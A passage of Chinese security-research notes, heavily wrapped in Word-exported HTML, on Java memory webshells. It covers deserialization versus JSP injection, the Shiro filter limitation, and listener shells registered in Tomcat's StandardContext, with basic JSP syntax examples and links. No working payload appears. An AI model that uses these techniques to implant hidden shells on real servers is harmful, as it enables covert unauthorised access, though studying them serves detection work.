              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="">但是jsp天然优势就是省略了获取context的过程，直接通过</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="">request.getServletContext()获取当前请求的context</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">              

              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="">利用反序列化漏洞写内存马是最复杂的，jsp写很简单，request和response变量很好获得，但是还是会落地class文件,同样的原因可以类比ysoserial.net中的GhostWebShell.cs，也是基于此想法，打算把之前的.net内存马全部改写整合到ysoserial.net中</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark: 内存马;"><span style="font-family:Cambria;">filter内存马shiro没法用，因为shiro处理rememberme本身就是自己写了个filter去处理，在里面拿不到request和response</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Calibri;">listener内存马</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">这个里面写java代码</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">这个叫做小脚本，是写java代码的</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%!--</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">这个里面是JSP的注释</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">--%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">– –</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> 是客户端注释代码</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%!</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> var可设置该页面的全局变量</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">这个是jsp中脚本声明，是些一些必要的方法的</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;AttributeTok&#39;;color: #7D9029;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> 有个</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;AttributeTok&#39;;color: #7D9029;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">符号的，叫做指令</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">$</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">这个是el表达式</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">变量 </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> 是 </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> out</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">println</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">变量</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> 的简写方式 </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">  </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> username</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;abc&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">用户</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">:&lt;%=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">username</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">用户</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">:&lt;%</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> out</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">println</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">username</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                

                

                

                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">叫代码片段，用户装java代码的</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%!%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">叫声明，用于声明函数或变量的。相当于声明类的成员。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                

                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">是jspscript代码段</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">在由jsp转换成Servlet后 </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">中的代码是放在serive方法中</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">相当与<span style="mso-spacerun:yes;">  </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">doGet</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">和doPost</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">()</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">方法</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%!%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">是jsp声明</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">用来定义属性和方法的</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">在由jsp转换成Servlet后 </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%!%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">中的代码是放serive<span style="mso-spacerun:yes;">  </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span>方法之外的</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%=%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">是jsp表达式</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">在由jsp转换成Servlet后 </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;%=%&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">中的代码是放在</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">service方法中的</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">                </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">       </span>out</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">println</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;这里&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Cambria;">中的其中的内容将直接输出到浏览器的页面中</span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://www.yuque.com/tianxiadamutou/zcfd4v/na64yv" target="_blank">https://www.yuque.com/tianxiadamutou/zcfd4v/na64yv</a></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">和</span></span></span><a href="https://mp.weixin.qq.com/s?__biz=MzAwMzc2MDQ3NQ==&amp;mid=2247484941&amp;idx=1&amp;sn=13d495d796e0846acd002579cd36ef12&amp;scene=21#wechat_redirect" data-linktype="2"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;">https://mp.weixin.qq.com/s/USIn50RITRF87AigssRyaA</span></span></span></a><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">中listener内存马搭配食用</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">两个添加内存马使用的方法不一样，但都是获取standardcontext并在ApplicationEventListener数组里添加listener</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;"><img data-ratio="0.5892857142857143" style="width:553.8084106445312px;height:329.82000732421875px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=ab400cd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKibn8leJHAeBoa7tGYYLW5A48z2WgTGIIDLUzADQ3n4fgrwdaopLpKFw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:listener内存马;"><span style="font-family:Cambria;">根据调试可以看到获取到的request变量的值就是RequestFacade实例，obj为ApplicationContextFacade实例，这个实例的classCache属性为hashmap，其中的value包含多个方法对应的获取的属性值的类，</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 